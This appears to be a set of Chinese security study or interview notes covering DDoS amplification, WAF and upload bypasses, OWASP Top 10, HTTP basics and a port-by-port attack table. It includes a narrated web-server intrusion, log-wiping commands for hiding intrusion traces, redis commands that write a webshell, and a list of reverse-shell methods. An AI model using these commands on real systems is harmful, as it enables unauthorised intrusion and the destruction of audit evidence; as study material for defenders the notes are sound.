DDOS攻击主要分为三类:流量型攻击;连接型攻击;特殊协议缺陷
udp反射放大攻击
原理:
很多协议在响应包处理时,要远大于请求包,一个字节的请求十个字的响应,十个字节的请求一百个字的响应,这就是UDP反射放大攻击最根本的原理。
DNS 反射放大攻击主要是利用 DNS回复包比请求包大的特点,放大流量,伪造请求包的源 IP 地址为受害者 IP,将应答包的流量引入受害的服务器。
k8s漏洞
渗透测试
安全测试之我见
https://yinwc.github.io/2020/08/28/%E5%AE%89%E5%85%A8%E6%B5%8B%E8%AF%95/
一次渗透经历
web服务器-内网渗透全过程
首先信息收集阶段,使用kali中自带的SPARTA扫描端口,发现开放80、445、3389、3306
80端口的屏幕截图是个探针,可以看到网站使用upupw5.2-php5.2.17-apache2.2.31等信息
web渗透阶段:在网站的某个链接处手工测试存在注入,跑出了低管理员权限账户data和密码,登录后,抓包修改参数值造成越权(抓包后发现,普通管理员的参数伪submanager,超管的参数为manager),成为超级管理员。
获取web服务器权限:在后台数据维护处发现一个可以执行sql语句的页面,在刚开始信息收集的时候已经发现探针页面,已经知道了绝对路径,所以尝试在执行sql语句的地方用sql语句写入一句话,使用蚁剑连接,可以成功连接,getshell!!打开虚拟终端,发现是一个高权限用户,这就已经没什么难度了,直接新建一个用户,并提到管理组。3389直接连接,获取到web服务器最高权限
App安全测试
https://yinwc.github.io/2020/09/09/App%E5%AE%89%E5%85%A8%E6%B5%8B%E8%AF%95/
渗透测试流程
渗透测试之信息收集
入侵后痕迹清理
linux入侵控制与痕迹清理
linux查看登录日志
清理命令记录:
(1)仅清理当前用户: history -c
(2)使系统不再保存命令记录:vi /etc/profile
,找到HISTSIZE这个值,修改为0
(3)删除记录:
1 | 删除登录失败记录:echo > /var/log/btmp |
Linux查看/var/log/wtmp文件查看可疑IP登陆
last -f /var/log/wtmp
/var/log/wtmp日志文件介绍
/var/log/wtmp文件的查看方法
绕过绕过cdn获取网站的真实IP
复习文章:https://blog.csdn.net/qq_29277155/article/details/52463908/
1.查询二级域名
方法:
- 在线查询
http://i.links.cn/subdomain/
- 使用AWVS中的子域名查询工具
2.nslookup
cmd中nslookup
3.直接ping一下
4.看历史纪录
在线网址:http://toolbar.netcraft.com/site_report?url=www.xxx.com
5.phpinfo
6.看订阅邮件
7.rss订阅
waf绕过
- 大小写混合
- URL编码
- 关键字替换
- 多参数请求拆分
- HTTP参数污染
- 生僻函数
- 注入参数到cookie
漏洞相关
cve2020-9547 FasterXML/jackson-databind
原理
ibatis-sqlmap中存在特殊的利用链允许用户触发 JNDI 远程类加载操作
漏洞位于com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig
中,同样指向ldap恶意地址
进而触发JNDI 注入,从而将远程类加载到本地代码执行
JNDI注入
- 总结:JNDI是Java提供的Java命名和目录接口。通过调用JNDI的API可以定位资源和其他程序对象。
- JNDI是Java EE的重要部分,JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。
JNDI
全称 Java Naming and Directory Interface(Java命名和目录接口)。JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念。JDNI是provider-based的技术(如同其它很多Java技术一样),暴露了一个API和一个服务供应接口(SPI)。这意味着任何基于名字的技术都能通过JNDI而提供服务,只要JNDI支持这项技术。很多J2EE技术,包括EJB都依靠JNDI来组织和定位实体。JDNI通过绑定的概念将对象和名称联系起来
。在一个文件系统中,文件名被绑定给文件。在DNS中,一个IP地址绑定一个URL。在目录服务中,一个对象名被绑定给一个对象实体。
应急响应
排查webshell或木马
Windows系统应急响应:
https://cloud.tencent.com/developer/article/1638283
Linux系统应急响应:
https://blog.csdn.net/qq_36119192/article/details/94397856
密码学相关
加密算法分对称加密
和非对称算法
,其中对称加密算法的加密与解密密钥相同,非对称加密算法的加密密钥与解密密钥不同
常见的对称加密:AES、DES、3DES,其中AES是最安全的
常见的非对称加密:RSA、DSA
MD5并不是加密算法,而是加密散列函数,经过MD5处理后的数据是不可逆的,所以也达到了“加密”的目的。
工具原理
SqlMap工作原理
SQLMap 大致工作流程:数据库类型猜测、注入类型猜测、数据库版本猜测(MySQL 不同版本会影响后续 payload 选择)、字段长度猜测、结论输出等
burp抓包原理(抓https)
BurpSuite在本地浏览器安装了自己的证书,作为中间人的它分别建立起了“客户端->代理服务器”、“代理服务器->服务端”两段HTTPS通道,BurpSuite获得Client消息后先解密后再重新加密,然后代替客户端发给服务端,这个过程中BurpSuite自然能获得明文。
第一步, burp向服务器发送请求进行握手, 获取到服务器的CA证书, 用根证书公钥进行解密, 验证服务器数据签名,获取到服务器CA证书公钥。
第二步, burp伪造自己的CA证书, 冒充服务器证书传递给客户端浏览器,客户端浏览器做跟burp一样的事。
第三步, 客户端浏览器生成https通信用的对称密钥,用burp伪造的证书公钥加密后传递给服务器, 被burp截获。
扫描器相关
Masscan 扫描
masscan采用了异步传输方式,无状态的扫描方式
无状态:masscan无状态的扫描则是masscan与目标主机不建立完整的TCP连接,扫描者主机先向目标主机发送一个SYN请求连接数据包,目标主机会向扫描者主机回复一个SYN/ACK确认连接数据包,当扫描者主机收到目标主机发送回来的SYN/ACK确认连接数据包之后,扫描者主机向目标主机发送RST结束连接(选项–banners除外(因为要获取banner信息,必须要进行完整的三次握手)),即masscan不建立完整的TCP连接,收到SYN/ACK之后,发送RST结束连接(选项–banners除外)。
异步传输:masscan采用异步的方式批量的把数据包发出去,然后记录有回应的IP。因此,效率上得以大幅提高。
扫描器设计
一 爬虫模块:
负责爬取目标站点可见的url,进行相应的入库处理,然后分级处理,比如说可以递交到敏感信息模块去匹配信息,又或者递交给漏洞检测模块进行检测。爬虫模块作为漏扫的主要眼睛,必须非常壮硕,所以在未来的实现爬虫模块篇中,将会是个问题。
二 域名探测模块:
进行子域名的查询,包括二级,三级,多级。这里实现的方式主要有爆破,dns,搜索引擎。
三 端口扫描模块:
通过各种方法获取真实ip 爆破服务器端口,将结果递交给指纹识别模块进行识别与爆破模块进行相应服务的爆破。
四 指纹识别模块:
内置大量指纹信息,居然可拓展的性质,进行相应的指纹识别,并将识别结果提交漏洞检测模块进行相应的nday查询。
五 敏感信息模块:
具有大量敏感信息目录,进行爆破操作,或者从爬虫获取相应数据进行匹配。
六 爆破模块:
内置各类服务爆破操作。
七 漏洞检测模块:
分为常规漏洞检测,与0day/nday检测,如何做到高效率的检测,又是一个问题了。
八 生成报告模块:
将结果输出成扫描报告。
九 “主控模块”:
进行各模块安全可控的调度,以高效率的运转。
线程、进程、协程
参考文章:https://www.cnblogs.com/Survivalist/p/11527949.html
进程是系统资源分配的最小单位
线程是执行程序的最小单位
协程,又称微线程,纤程,英文名Coroutine。协程的作用,是在执行函数A时,可以随时中断,去执行函数B,然后中断继续执行函数A(可以自由切换)。但这一过程并不是函数调用(没有调用语句),这一整个过程看似像多线程,然而协程只有一个线程执行.
协程极高的执行效率:因为子程序切换不是线程切换,而是由程序自身控制,因此,没有线程切换的开销,和多线程比,线程数量越多,协程的性能优势就越明显。
不需要多线程的锁机制:因为只有一个线程,也不存在同时写变量冲突,在协程中控制共享资源不加锁,只需要判断状态就好了,所以执行效率比多线程高很多。
一个进程由一个或多个线程组成,线程是一个进程中代码的不同执行路线;
一个进程可以拥有多个线程,一个线程也可以拥有多个协程
restful架构
表现层状态转化
- 每一个URL都代表一种资源,看URL就知道要什么资源
- 看http 方法(GET、POST、DELETE、PUT)就知道要干什么
- 看http的状态码(status code)就知道结果
HATEOAS
HATEOAS:超媒体作为应用状态的引擎
RESTful API最好做到HATEOAS,即返回结果中提供链接,连向其他API方法,使得用户不查文档,也知道下一步应该做什么。
爬虫与反爬虫
启发式爬虫:基于历史经验和已知场景,构造并实现规则的爬虫
启发式爬虫最佳实践:任务调度及事件管理流程
反爬虫的几种手段:
1、通过UA识别爬虫
2、设置IP访问频率,如果超过一定频率,弹出验证码
3、通过并发识别爬虫
4、限制单个ip/api token的访问量
项目相关
安全 & 高可用架构
静态二维码问题
静态条码容易被“调包”、利用收款码伪造交通罚单等、嵌入木马,扫码被盗刷或窃取信息
https://www.bbaqw.com/wz/93625.htm
二维码本身是一串文本,不会含有病毒,木马和恶意扣费软件。目前主要的安全问题是二维码到一个手机应用的下载链接,这个手机应用包含病毒,木马、广告和恶意扣费内容。推荐从权威的网站和可靠的印刷品上扫描。对扫描的内容的可信度请保持谨慎态度。 如果扫描内容显示正在下载应用,请谨慎安装。 做到以上两点,就放心大胆地扫描吧。
http协议
http1.0与http1.1的区别
- 长连接:HTTP 1.1支持长连接(PersistentConnection)和请求的流水线(Pipelining)处理,在一个TCP连接上可以传送多个HTTP请求和响应,减少了建立和关闭连接的消耗和延迟,在HTTP1.1中默认开启Connection: keep-alive,一定程度上弥补了HTTP1.0每次请求都要创建连接的缺点。这是最大的变化,就是引入了持久连接(persistent connection),即TCP连接默认不关闭,可以被多个请求复用,不用声明Connection: keep-alive。
- 缓存处理:在HTTP1.0中主要使用header里的If-Modified-Since,Expires来做为缓存判断的标准,HTTP1.1则引入了更多的缓存控制策略例如Entity tag,If-Unmodified-Since, If-Match, If-None-Match等更多可供选择的缓存头来控制缓存策略。
- 带宽优化及网络连接的使用:HTTP1.0中,存在一些浪费带宽的现象,例如客户端只是需要某个对象的一部分,而服务器却将整个对象送过来了,并且不支持断点续传功能,HTTP1.1则在请求头引入了range头域,它允许只请求资源的某个部分,即返回码是206(Partial Content),这样就方便了开发者自由的选择以便于充分利用带宽和连接。
- 错误通知的管理:在HTTP1.1中新增了24个错误状态响应码,如409(Conflict)表示请求的资源与资源的当前状态发生冲突;410(Gone)表示服务器上的某个资源被永久性的删除。
- Host头处理:在HTTP1.0中认为每台服务器都绑定一个唯一的IP地址,因此,请求消息中的URL并没有传递主机名(hostname)。但随着虚拟主机技术的发展,在一台物理服务器上可以存在多个虚拟主机(Multi-homed Web Servers),并且它们共享一个IP地址。HTTP1.1的请求消息和响应消息都应支持Host头域,且请求消息中如果没有Host头域会报告一个错误(400 Bad Request)。
http 1.1 新增options、put、delete、trace、connect
五种HTTP请求方法,加上get、post、head原1.0中的三种请求共八种协议。
http中常见的请求
OPTIONS:这个方法可使服务器传回该资源所支持的所有HTTP请求方法。用’*‘来代替资源名称,向Web服务器发送OPTIONS请求,可以测试服务器功能是否正常运作
HEAD:与GET方法一样,都是向服务器发出指定资源的请求。只不过服务器将不传回资源的本文部分。它的好处在于,使用这个方法可以在不必传输全部内容的情况下,就可以获取其中“关于该资源的信息”(元信息或称元数据)
PUT:向指定资源位置上传其最新内容
DELETE:请求服务器删除Request-URI所标识的资源
TRACE:回显服务器收到的请求,主要用于测试或诊断
CONNECT:HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。通常用于SSL加密服务器的链接(经由非加密的HTTP代理服务器)
常见的http响应码
2开头 成功
· 200 OK,表示从客户端发来的请求在服务器端被正确处理
· 204 No content,表示请求成功,但响应报文不含实体的主体部分
· 206 Partial Content,进行范围请求
3开头 重定向:表示要完成请求,需要进一步操作。 通常,这些状态代码用来重定向
· 301 moved permanently,永久性重定向,表示资源已被分配了新的 URL
· 302 found,临时性重定向,表示资源临时被分配了新的 URL
· 303 see other,表示资源存在着另一个 URL,应使用 GET 方法丁香获取资源
· 304 not modified,表示服务器允许访问资源,但因发生请求未满足条件的情况
· 307 temporary redirect,临时重定向,和302含义相同
4开头 客户端错误:请求错误,这些状态代码表示请求可能出错,妨碍了服务器的处理。
· 400 bad request,请求报文存在语法错误
· 401 unauthorized,表示发送的请求需要有通过 HTTP 认证的认证信息
· 403 forbidden,表示对请求资源的访问被服务器拒绝
· 404 not found,表示在服务器上没有找到请求的资源
5开头 服务器错误:这些状态代码表示服务器在尝试处理请求时发生内部错误。 这些错误可能是服务器本身的错误,而不是请求出错。
· 500 internal sever error,表示服务器端在执行请求时发生了错误
· 503 service unavailable,表明服务器暂时处于超负载或正在停机维护,无法处理请求
从URL输入到页面展现的整体过程
- DNS 解析:将域名解析成 IP 地址
- TCP 连接:TCP 三次握手
- 发送 HTTP 请求
- 服务器处理请求并返回 HTTP 报文
- 浏览器解析渲染页面
- 断开连接:TCP 四次挥手
sdl与DevSecOps
AST
AST:应用程序安全测试
SAST:静态应用程序安全测试
- SAST是一种白盒测试方式,常见的工具有Coverity、Checkmarx、FindBugs、 CodeQL和ShiftLeft inspect。
DAST:动态应用程序安全测试
- 黑盒,常见的工具有AWVS、AppScan等
IAST:交互式应用程序安全测试
SCA
SCA定义:软件成分分析产品通常在开发过程中对应用程序进行分析,以检测开源软件组件是否带有已知的漏洞,例如具有可用安全补丁程序的过期库,以及需要相应授权许可(法律风险)的商业软件或第三方产品。
sdl安全开发生命周期
SDL:安全开发生命周期
SDL的核心理念就是将安全考虑集成在软件开发的每一个阶段:需求分析、设计、编码、测试和维护。从需求、设计到发布产品的每一个阶段每都增加了相应的安全活动,以减少软件中漏洞的数量并将安全缺陷降低到最小程度。
流程:
1.培训
2.安全要求
3.设计阶段
4.实施阶段
5.验证阶段
6.发布阶段
7.响应
devsecops
相对于SDL,DevSecOps不再是一个单纯的安全开发模型,也不仅仅是关注开发阶段,它所强调的是人人为安全负责,人人参与安全,安全嵌入到开发到运维的每个阶段。
ISO27000和等保(重点等保)
ISO27000
ISO27000是国际知名的信息安全管理体系标准,适用于整个企业,不仅仅是IT部门,还包括业务部门、财务、人事等部门。引入信息安全管理体系就可以协调各个方面信息管理,从而使管理更为有效。保证信息安全不是仅有一个防火墙,或找一个24小时提供信息安全服务的公司就可以达到的。它需要全面的综合管理。
PDCA(plan do check action)管理循环
等级保护制度
《信息安全等级保护管理办法》是为规范信息安全等级保护管理,提高信息安全保障能力和水平,维护国家安全、社会稳定和公共利益,保障和促进信息化建设,根据《中华人民共和国计算机信息系统安全保护条例》等有关法律法规而制定的办法。
MYSQL
mysql写shell的方法
1.select “” into outfile “”
2.开启log写shell 复习文章
mysql提权
- MOF提权,在windows平台下(linux下不可用),
- UDF提权
linux下反弹shell的方法
1.使用linux命令反弹shell bash
2.使用python、java、perl、Ruby反弹shell,可以配和msf利用。
3.使用nc、Telnet反弹shell
redis的利用方式,getshell的方法
利用方式:
- 通过向Web目录中写webshell的方式进行getshell
- 当自己的redis权限不高时,可以向web里写入webshell,但需要对方有web服务且有写入权限。假设靶机里面存在WEB服务并且目录在 /var/www/
- redis 192.168.242.134:6379>config set dir /var/www/a
redis 192.168.242.134:6379>config set dbfilename shell.php
redis 192.168.242.134:6379>set x ““
redis 192.168.242.134:6379>save
- 通过写SSH key的方式进行getshell
- 通过写corntab的方式进行getshell
具体的写法: https://blog.csdn.net/fly_hps/article/details/80937837
同源策略
同源策略是浏览器的一个安全限制,它阻止了不同域之间进行的数据交互,同源是指,域名,协议,端口
相同。
常见端口
复习文章:https://zhuanlan.zhihu.com/p/24926870
web类
- 80 web
- 80-89 web
- 8000-9090 web
数据库类
(扫描弱口令)
- 1433 MSSQL SQLServer
- 1521 Oracle
- 3306 Mysql
- 5432 PostgreSQL
常用端口类
(扫描弱口令/端口爆破)
- 21 ftp
- 22 SSH
- 23 Telnet
- 2601,2604 zebra路由,默认密码zebra
- 3389 远程桌面
特殊服务类
(未授权/命令执行类/漏洞)
- 443 SSL心脏滴血
- 873 Rsync未授权
- 5984 CouchDB http://xxx:5984/_utils/
- 6379 redis未授权
- 7001,7002 WebLogic默认弱口令,反序列
- 9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
- 11211 memcache未授权访问
- 27017,27018 Mongodb未授权访问
- 50000 SAP命令执行
端口号 | 端口说明 | 攻击技巧 |
---|---|---|
21/69 | ftp/tftp:文件传输协议 | 爆破/嗅探/溢出/后门 |
22 | ssh:远程连接 | 爆破OpenSSH;28个退格 |
23 | talnet:远程连接 | 爆破\嗅探 |
25 | smtp:邮件服务 | 邮件伪造 |
53 | DNS:域名系统 | DNS区域传输\DNS劫持\DNS缓存投毒\DNS欺骗\利用DNS隧道技术刺透防火墙 |
67/68 | DHCP | 劫持\欺骗 UDP67和UDP68 67接收 68发送 |
110 | pop3 | 爆破 |
137/139/445 | samba | 可尝试爆破以及smb自身的各种远程执行类漏洞利用,如,ms08-067,ms17-010,嗅探等…… |
143 | imap | 爆破 |
161 | snmp | 爆破 |
389 | ldap | 注入攻击\未授权访问 |
443 | SSL心脏滴血 | web漏洞测试 |
512/513/514 | linux r | 直接使用rlogin |
873 | rsync | 未授权访问 |
1080 | socket | 爆破:进行内网渗透 |
1352 | lotus | 爆破:弱口令\信息泄漏:源代码 |
1433 | mssql | 爆破:使用系统用户登录\注入攻击 |
1521 | oracle | 爆破:TNS\注入攻击 |
2049 | nfs | 配置不当 |
2181 | zookeeper | 未授权访问 |
3306 | mysql | 爆破\拒绝服务\注入 |
3389 | rdp | 爆破\Shift后门 |
4848 | glassfish | 爆破:控制台弱口令\认证绕过 |
5000 | sybase/DB2 | 爆破\注入 |
5432 | postgresql | 缓冲区溢出\注入攻击\爆破:弱口令 |
5632 | pcanywhere | 拒绝服务\代码执行 |
5900 | VNC | 爆破:弱口令\认证绕过 |
6379 | redis | 未授权访问\爆破:弱口令 |
7001 | weblogic | Java反序列化\控制台弱口令\控制台部署webshell |
80/443/8080 | web | 常见web攻击\控制台爆破\对应服务器版本漏洞 |
8069 | zabbix | 远程命令执行 |
9090 | websphere控制台 | 爆破:控制台弱口令\Java反序列 |
9200/9300 | elasticsearch | 远程代码执行 |
11211 | memcacache | 未授权访问 |
27017 | mongodb | 爆破\未授权访问 |
解析漏洞
iis 5.x/6.0解析漏洞
1.目录解析
1 | /xx.asp/xx.jpg |
如:test.asp/test.jpg
即:新建一个名为”test.asp”的目录,该目录中的任何文件都被IIS当做asp程序执行(特殊符号是”/“
2.文件解析
1 | sp.asp;.jpg |
即分号后的不被解析,仍被IIS当做asp程序执行。
apache 解析漏洞
文件后缀,Apache 从右到左开始判断解析,如果为不可识别解析,就再往左判断.
文件上传
文件上传校验姿势
- 客户端javascript校验(一般只校验后缀名)
- 服务端校验
- 文件头content-type字段校验(image/gif)
- 文件内容头校验(GIF89a)
- 后缀名黑名单校验
- 后缀名白名单校验
- 自定义正则校验
- WAF设备校验(根据不同的WAF产品而定)
文件上传的绕过
1.绕过上传检查
- 前端检查扩展名
2.抓包绕过即可
- Content-Type 检测文件类型
3.抓包修改 Content-Type 类型,使其符合白名单规则。
- 服务端添加后缀
4.尝试 %00
截断
- 服务端扩展名检测
5.利用解析漏洞。
- Apache 解析 IIS 解析
其他方式后缀大小写、双写、特殊后缀如 php5 等,修改包内容的大小写过 WAF 等。
文件读取除了可以读取敏感文件还有什么利用方式
文件包含的利用方式 https://anquan.baidu.com/article/235
1、通过写入webserver的errorlog或者accesslog来实现一句话。适用于存在本地文件包含,但是无法上传文件的场景。
伪协议 php://input phar php://filter https://thief.one/2017/04/10/2/
利用php协议进行包含
截断包含
远程包含shell
本地包含配合文件上传
本地包含配合apache日志拿shell
利用/proc/self/environ进行包含
OWASP Top 10
注入
将不受信任的数据作为命令或查询的一部分发送到解析器时,会产生诸如SQL注入、NoSQL注入、OS注入和LDAP注入的注入缺陷。
攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执行非预期命令或访问数据。
失效的身份认证和会话管理
简介
通常,通过错误使用应用程序的身份认证和会话管理功能,攻击者能够破译密码、密钥或会话令牌,或者利用其它开发缺陷来暂时性或永久性冒充其他用户的身份。
原理
开发者通常会建立自定义的认证和会话管理方案。但与身份认证和回话管理相关的应用程序功能往往得不到正确的实现,要正确实现这些方案却很难,结果在退出、密码管理、超时、密码找回、帐户更新等方面存在漏洞,这就导致了攻击者攻击者破坏密码、密钥、会话令牌或攻击其他的漏洞去冒充其他用户的身份
- 身份认证:身份认证最常用于系统登录,形式一般为用户名和密码登录方式,在安全性要求较高的情况下,还有验证码、客户端证书、Ukey等
- 会话管理:HTTP利用会话机制来实现身份认证,HTTP身份认证的结果往往是获得一个令牌并放在cookie中,之后的身份识别只需读授权令牌,而无需再次进行登录认证
危害
可能导致部分甚至全部账户遭受攻击,攻击者一旦成功,攻击者能执行受害用户的任何操作。因此管理员账户、特权账户是常见的攻击目标
检测失效的身份认证和会话管理
- 用户身份验证凭证没有使用哈希或加密保护
- 认证凭证可猜测,或者能够通过薄弱的的帐户管理功能(例如账户创建、密码修改、密码恢复, 弱会话ID)重写
- 会话ID暴露在URL里 (例如URL重写)
- 会话ID容易受到会话固定(session fixation)的攻击
- 会话ID没有超时限制,或者用户会话或身份验证令牌特别是单点登录令牌在用户注销时没有失效
- 成功注册后,会话ID没有轮转
- 密码、会话ID和其他认证凭据使用未加密连接传输
防范
- 分区公共区域和受限区域:站点的公共区域允许任何人用户进行匿名访问,受限区域只能接受特定用户的访问
- 对cookie内容进行加密
- 可以设置锁定账户策略
- 设置密码和会话的有效期,并使用强密码(密码必须是数字和字母的组合)
- 账号密码以密文形式传输
敏感数据泄露
简介
许多Web应用程序和API都无法正确保护敏感数据,例如:财务数据、医疗数据和PII数据。攻击者可以通过窃取或修改未加密的数据来实施信用卡诈骗、身份盗窃或其他犯罪行为。
未加密的敏感数据容易受到破坏,需要对敏感数据加密,这些数据包括:传输过程中的数据、存储的数据以及浏览器的交互数据。
原理
许多Web应用程序和API都无法正确保护敏感数据,例如:财务数据、医疗数据和PII数据。攻击者可以通过窃取或修改未加密的数据来实施信用卡诈骗、身份盗窃或其他犯罪行为。未加密的敏感数据容易受到破坏,因此需要对敏感数据加密,这些数据包括:传输过程中的数据、存储的数据以及浏览器的交互数据。
防御
1.加密存储和传输所有的敏感数据
2.确保使用合适强大的标准算法和密钥,并且密钥管理到位
3.确保使用密码专用算法存储密码
4.及时清除没有必要存放的重要的/敏感数据
5.禁用自动收集敏感数据,禁用包含敏感数据的页面缓存
XXE外部实体注入
许多较早的或配置错误的XML处理器评估了XML文件中的外部实体引用。攻击者可以利用外部实体窃取使用URI文件处理器的内部文件和共享文件、监听内部扫描端口、执行远程代码和实施拒绝服务攻击.
具体见XXE漏洞的学习
失效的访问控制
简介
未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据,例如:访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。
原理
大多数web应用程序在实现UI中可见的功能之前,都要验证功能级别的访问权限。但是,当访问每个函数时,应用程序需要在服务器上执行相同的访问控制检查。如果请求没有得到验证,攻击者将能够伪造请求,以便在没有适当授权的情况下访问功能。
防御
1.检查管理权限的过程并确保能够容易进行升级和审计,切忌硬编码。
2.默认缺省情况下,应该拒绝所有访问的执行权限。
3.对于每个功能的访问,需要明确的角色授权。检查每个功能分配的权限合理有效。
安全配置错误
简介
安全配置错误是最常见的安全问题,这通常是由于不安全的默认配置、不完整的临时配置、开源云存储、错误的 HTTP 标头配置以及包含敏感信息的详细错误信息所造成的。
因此不仅需要对所有的操作系统、框架、库和应用程序进行安全配置,而且必须及时修补和升级它们。
原理
良好的安全性需要为应用程序、框架、应用服务器、web服务器、数据库服务器和平台定义和部署安全配置。默认值通常是不安全的。另外,软件应该保持更新。攻击者通过访问默认账户、未使用的网页、未安装补丁的漏洞、未被保护的文件和目录等,以获得对系统未授权的访问。
防御
1.及时了解并部署每个环境的软件更新和补丁信息,包括所有的代码库。(自动化安装部署)
2.统一出错处理机制,错误处理会向用户显示堆栈跟踪或其他过于丰富的错误消息信息。
3.使用提供有效分离和安全性强大的应用程序架构。
XSS跨站脚本攻击
简介:
当应用程序的新网页中包含不受信任的、未经恰当验证或转义的数据时,或者使用可以创建 HTML或JavaScript 的浏览器 API 更新现有的网页时,就会出现 XSS 缺陷。
XSS 让攻击者能够在受害者的浏览器中执行脚本,并劫持用户会话、破坏网站或将用户重定向到恶意站点。
具体见常见漏洞之XSS跨站脚本攻击
原理
指一个已经授权的用户,通过更改访问时的一个参数,从而访问到了原本其并没有得到授权的对象。
出现的原因
1.Web应用往往在生成Web页面时会用它的真实名字,且并不会对所有的目标对象访问时来检查用户权限,所以这就造成了不安全的对象直接引用的漏洞。
2.服务器上的具体文件名、路径或数据库关键字等内部资源被暴露在URL或网页中,攻击者可以尝试直接访问其他资源。
防御措施
1.避免在URL或网页中直接引用内部文件名或数据库关键字。
2.可使用自定义的映射名称来取代直接对象名,例如, http://example.test/online/news.asp?item=0245等
3.锁定网站服务器上的所有目录和文件夹,设置访问权限。
4.验证用户输入和URL请求,拒绝包含./或../的请求。
不安全的反序列化
简介:
不安全的反序列化会导致远程代码执行。即使反序列化缺陷不会导致远程代码执行,攻击者也可以
利用它们来执行攻击,包括:重播攻击、注入攻击和特权升级攻击。
使用含有已知漏洞的组件
简介
组件(例如:库、框架和其他软件模块)拥有和应用程序相同的权限。如果应用程序中含有已知漏洞的组件被攻击者利用,可能会造成严重的数据丢失或服务器接管。
同时,使用含有已知漏洞的组件的应用程序和API可能会破坏应用程序防御、造成各种攻击并产生严重影响。
原理
开发人员使用的组件也会含有漏洞,这些漏洞能够被自动化工具发现和利用。然后攻击者根据需要定制攻击代码并实施攻击。
防御
1.标识正在使用的所有组件和版本,包括所有依赖项
2.及时关注这些组件的安全信息并保证他们是最新的。
3.建立使用组件的安全策略,禁止使用未经安全评估的组件。
4.在适当情况下,对组件进行安全封装,精简不必要的功能,封装易受攻击部分
不足的日志记录和监控
不足的日志记录和监控,以及事件响应缺失或无效的集成,使攻击者能够进一步攻击系统、保持持
续性或转向更多系统,以及篡改、提取或销毁数据。大多数缺陷研究显示,缺陷被检测出的时间超
过200天,且通常通过外部检测方检测,而不是通过内部流程或监控检测。